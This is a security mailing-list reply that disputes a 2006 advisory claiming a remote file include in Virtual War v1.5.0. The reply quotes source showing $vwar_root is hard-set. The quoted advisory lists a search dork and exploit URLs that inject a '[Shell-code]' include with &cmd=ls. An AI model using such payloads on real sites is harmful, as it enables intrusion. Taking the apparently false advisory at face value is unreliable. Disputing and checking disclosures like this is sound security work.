How should that be exploitable?

$vwar_root is initialised with "./" in the first line of code after comment.

*snip*

<?php
/*
########################################################################
####
*
* $Id: war.php,v 1.191 2004/09/09 15:52:33 rob Exp $
*
* This notice must remain untouched at all times.
*
* Modifications to the script, except the official addons or hacks,
* without the owners permission are prohibited.
* All rights reserved to their proper authors.
*
* ---------------------------------------------
* http://www.vwar.de || Copyright (C) 2001-2004
* ---------------------------------------------
*
*
########################################################################
####
*/

// get functions
$vwar_root = "./";

require ($vwar_root . "includes/functions_common.php");
require ($vwar_root . "includes/functions_front.php");

-----Ursprüngliche Nachricht-----
Von: AG Spider [mailto:ag-spider (at) hotmail (dot) com [email concealed]]
Gesendet: Montag, 7. August 2006 16:45
An: bugtraq (at) securityfocus (dot) com [email concealed]
Betreff: Virtual War v1.5.0 Remote File Include (vwar_root)

Title : Virtual War v1.5.0 Remote File Include (vwar_root)

############################################

Discovered By :::: :::: :::: AG-Spider :::: :::: ::::

------------------------------------------------------------------------
----
-
Class : Remote file include
Rish : Danger
Application : Virtual War v1.5.0
URL : www.vwar.de

------------------------------------------------------------------------
----
-

dork : Powered by: Virtual War v1.5.0

Exploit :
http://www.$ite.com/[vwar_path]/war.php?vwar_root=[Shell-code]?&cmd=ls

http://www.$ite.com/[vwar_path]/member.php?vwar_root=[Shell-code]?&cmd=l
s

http://www.$ite.com/[vwar_path]/calendar.php?vwar_root=[Shell-code]?&cmd
=ls

http://www.$ite.com/[vwar_path]/challenge.php?vwar_root=[Shell-code]?&cm
d=ls

http://www.$ite.com/[vwar_path]/joinus.php?vwar_root=[Shell-code]?&cmd=l
s

http://www.$ite.com/[vwar_path]news.php?vwar_root=[Shell-code]?&cmd=ls

http://www.$ite.com/[vwar_path]/stats.php?vwar_root=[Shell-code]?&cmd=ls

------------------------------------------------------------------------
----

The Arab Warriors Security Team
- - -[T-A-W-S-T] - - -
Muslims Hackers

greetz4: [ Black-Code - KILLERxXx - KaBaRa.HaCk .eGy - CrAsH_oVeR_rIdE]

c0natct us : AG-Spider [ at ] HoTMail.CoM
thx 2 :::::: Lezr.com & 3asfh.net

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